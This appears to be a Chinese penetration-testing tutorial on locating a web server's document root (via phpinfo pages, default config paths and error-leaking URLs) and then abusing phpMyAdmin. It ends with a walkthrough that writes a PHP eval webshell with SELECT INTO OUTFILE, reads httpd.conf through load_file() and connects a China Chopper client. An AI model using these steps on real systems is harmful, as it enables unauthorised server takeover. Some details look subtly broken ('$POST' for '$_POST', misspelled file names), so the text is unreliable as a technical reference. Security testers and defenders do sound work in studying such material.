从phpinfo到phpmyadmin的综合渗透利用
字数 2378 2025-08-29 08:32:10
从phpinfo到phpmyadmin的综合渗透利用
1. 环境说明
本教程主要针对Apache中间件环境进行研究学习,其他中间件环境思路类似。
2. 基本思路
2.1 思路说明
寻找网站安装路径的核心是通过"配置页面"或"配置文件"找到DocumentRoot指向的网站路径位置。最常见的位置是phpinfo.php页面和httpd.conf配置文件中。
2.1.1 Phpinfo.php页面
phpinfo()函数信息泄露漏洞常出现在默认安装包(xampp/phpstudy/phpnow等)中,常见测试文件:
- phpinfo.php
- info.php
- 1.php
- test.php
常见探针页面:
- l.php
- p.php
- tanzhen.php
- tz.php
- u.php
2.1.2 Httpd.conf配置文件
Apache主要配置文件:
- 默认路径:/etc/httpd/conf/httpd.conf
- 默认站点目录:/var/www/html
2.2 实践方向
- phpinfo配置页面查找
- 中间件配置文件读取(如httpd.conf)
- 页面报错(访问报错、SQL注入报错、文件包含报错)
3. phpinfo获取网站路径
3.1 套件收集
通过套件默认的配置页面或探针页面获取网站物理路径信息。
3.2 爬行遍历收集
使用AWVS的site crawler模块进行站点目录爬行。
3.3 爆破扫描收集
使用御剑等目录爆破工具猜解敏感文件。
4. 配置文件读取网站路径
4.1 Web套件默认路径与配置文件
4.1.1 Xampp套件
- 网站默认路径:$disk:/xampp/htdocs
- 其他可写入路径:D:/xampp/phpmyadmin/
- Apache配置文件:
- httpd.conf:$disk:/xampp/apache/conf/httpd.conf
- vhosts.conf:$disk:/xampp/apache/conf/extra/httpd-vhosts.conf
4.1.2 LAMPP套件
- 网站默认路径:/opt/lampp/htdocs
- 配置文件:
- /opt/lampp/etc/httpd.conf
- /opt/lampp/etc/extra/httpd-vhosts.conf
4.1.3 phpstudy套件
- 网站默认路径:$disk:/phpstudy/www
- 配置文件:
- $disk:/phpStudy/Apache/conf/httpd.conf
- $disk:/phpStudy/Apache/conf/extra/httpd-vhosts.conf
4.1.4 phpnow套件
- 网站默认路径:$disk:\phpnow-1.5.6\htdocs
- 配置文件:
- D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf
- D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.comf
4.1.5 LNMP套件
- 网站默认路径:/home/wwwroot/default
4.2 其他Web容器
4.2.1 IIS6.0+win2003
- 网站默认路径:$disk:\InetPub\wwwroot
- 配置文件:C:/Windows/system32/inetsrv/metabase.xml
4.2.2 IIS7.0+WINDOWS
- 网站默认路径:$disk:\InetPub\wwwroot
- 配置文件:C:\Windows\System32\inetsrv\config\applicationHost.config
4.3 load_file()函数读取配置文件
利用场景:
- 写入成功但目录不是网站根目录
- 目录没有写入权限
- 存在安全防护
利用条件:
- 找到可写的网站路径
- 可写路径为渗透站点的物理路径
使用方法:
select load_file('D:/xampp/apache/conf/httpd.conf');
5. 错误页面爆网站路径
5.1 Phpmyadmin暴路径
常见报错路径:
- /phpmyadmin/libraries/lect_lang.lib.php
- /phpMyAdmin/index.php?lang[]=1
- /phpMyAdmin/phpinfo.php
- /phpmyadmin/themes/darkblue_orange/layout.inc.php
- /phpmyadmin/libraries/select_lang.lib.php
- /phpmyadmin/libraries/mcrypt.lib.php
5.2 SQL注入点暴路径
- 单引号爆路径:
www.xxx.com/news.php?id=149' - 错误参数值爆路径:
www.xxx.com/researcharchive.php?id=-1
5.3 nginx文件类型错误解析爆路径
访问:www.xyz.com/123.jpg/x.php
5.4 其他CMS爆路径收集
(详细路径列表见原文)
6. 渗透实战
6.1 渗透过程
-
确定目标web容器:
Select @@datadir;通过查询数据库路径判断使用xampp套件
-
尝试写入一句话:
select '<?php @eval($POST[123]);?>' INTO OUTFILE 'f:/xampp/htdocs/123.php'; -
测试解析:
访问123.php测试是否解析成功 -
读取Apache配置文件:
select load_file('f:/xampp/apache/conf/httpd.conf');获取真实路径"f:/web/xyzcom/"
-
再次写入一句话:
select '<?php @eval($POST[123]);?>' INTO OUTFILE 'f:/web/xyzcom/123.php'; -
上中国菜刀:
使用密码123连接 -
其他可写入路径:
通过phpmyadmin报错页面获取路径:
/phpmyadmin/themes/darkblue_orange/layout.inc.php
7. 总结
本教程详细介绍了从phpinfo信息泄露到phpmyadmin的综合渗透利用方法,包括路径查找、配置文件读取、错误信息利用等技术点,为安全测试人员提供了全面的技术参考。